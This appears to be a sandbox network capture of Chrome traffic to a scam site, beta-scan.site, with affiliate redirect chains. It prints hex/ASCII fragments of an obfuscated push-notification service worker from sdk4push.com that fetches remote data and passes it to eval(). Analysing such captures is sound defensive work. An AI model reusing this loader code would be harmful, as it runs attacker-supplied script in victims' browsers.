2024-10-03 15:19:31 UTC	1272	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.17	55886	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:31 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:31 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:31 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:31 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:31 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:31 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:31 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:31 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.17	55887	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:32 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.17	55888	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:32 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:32 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.17	55889	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:32 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:33 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.17	55890	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:33 UTC	1272	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
2024-10-03 15:19:34 UTC	1262	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:19:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: AWSALB=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; Expires=Thu, 10 Oct 2024 15:19:33 GMT; Path=/ Set-Cookie: AWSALBCORS=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; Expires=Thu, 10 Oct 2024 15:19:33 GMT; Path=/; SameSite=None; Secure Server: nginx/1.14.2 Location: https://www.jdoqocy.com/click-101155411-15590427?sid=a5a63ccc-38f1-4a59-9390-8415f82a759d Cache-Control: no-transform X-Frame-Options: SAMEORIGIN Vary: Accept-Language, Cookie, Origin Content-Language: en Set-Cookie: uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNc6:e2ZQ1r1LlbQLRglJX0yqgioOqno"; expires=Sat, 02 Nov 2024 15:19:34 GMT; Max-Age=2592000; Path=/ Set-Cookie: ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"\054 \"a5a63ccc-38f1-4a59-9390-8415f82a759d\"]:1swNc6:kPgqv5QU9f3qV7GYTCsF86wn_Rk"; expires=Sat, 02 Nov 2024 17:19:34 GMT; Max-Age=2599200; Path=/; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.17	55891	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:33 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:33 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:33 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.17	55893	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:34 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:34 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:34 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:34 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:34 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:34 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:35 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:35 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.17	55895	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
